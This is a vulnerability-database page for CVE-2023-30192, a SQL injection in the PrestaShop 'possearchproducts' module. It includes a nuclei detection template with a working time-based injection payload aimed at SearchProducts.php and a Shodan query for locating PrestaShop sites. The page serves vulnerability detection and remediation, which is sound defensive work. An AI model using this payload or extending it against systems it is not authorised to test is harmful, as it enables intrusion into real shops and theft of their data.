Browse / CVEs / CVE-2023-30192
CVE-2023-30192· possearchproducts· CWE-89
PrestaShop 'possearchproducts' <= 1.7 - SQL Injection
criticalseverity
9.8CVSS score
2.7%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it
In the module “Search Products” (possearchproducts) from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.
Impact
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the PrestaShop application and its underlying database.
Fix
Apply the latest security patches and updates from the vendor to address this vulnerability.
How to confirm it
Send: GET /
Positive when: contains_any(tolower(response), "prestashop", "possearchproducts")
Send: @timeout: 20s
Positive when: duration>=6 and contains(tolower(response), "products") and status_code != 404Run it with nuclei: nuclei -id CVE-2023-30192 -u <target>
The full check
id: CVE-2023-30192
info:
name: PrestaShop 'possearchproducts' <= 1.7 - SQL Injection
author: mastercho
severity: critical
description: |
In the module “Search Products” (possearchproducts) from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the PrestaShop application and its underlying database.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-30192
- https://security.friendsofpresta.org/modules/2023/05/11/possearchproducts.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-30192
cwe-id: CWE-89
epss-score: 0.02678
epss-percentile: 0.85928
metadata:
verified: true
max-request: 2
product: possearchproducts
framework: prestashop
shodan-query: http.component:"prestashop"
tags: cve,cve2023,prestashop,sqli,time-based-sqli,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
matchers:
- type: dsl
dsl:
- 'contains_any(tolower(response), "prestashop", "possearchproducts")'
internal: true
- raw:
- |
@timeout: 20s
POST /modules/possearchproducts/SearchProducts.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
id_category=10*if(now()=sysdate()%2Csleep(6)%2C0)&id_lang=3&resultsPerPage=10&s=the
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'contains(tolower(response), "products")'
- 'status_code != 404'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2023-30192
- https://security.friendsofpresta.org/modules/2023/05/11/possearchproducts.html
Use this check only on systems you are authorised to test. Where the data comes from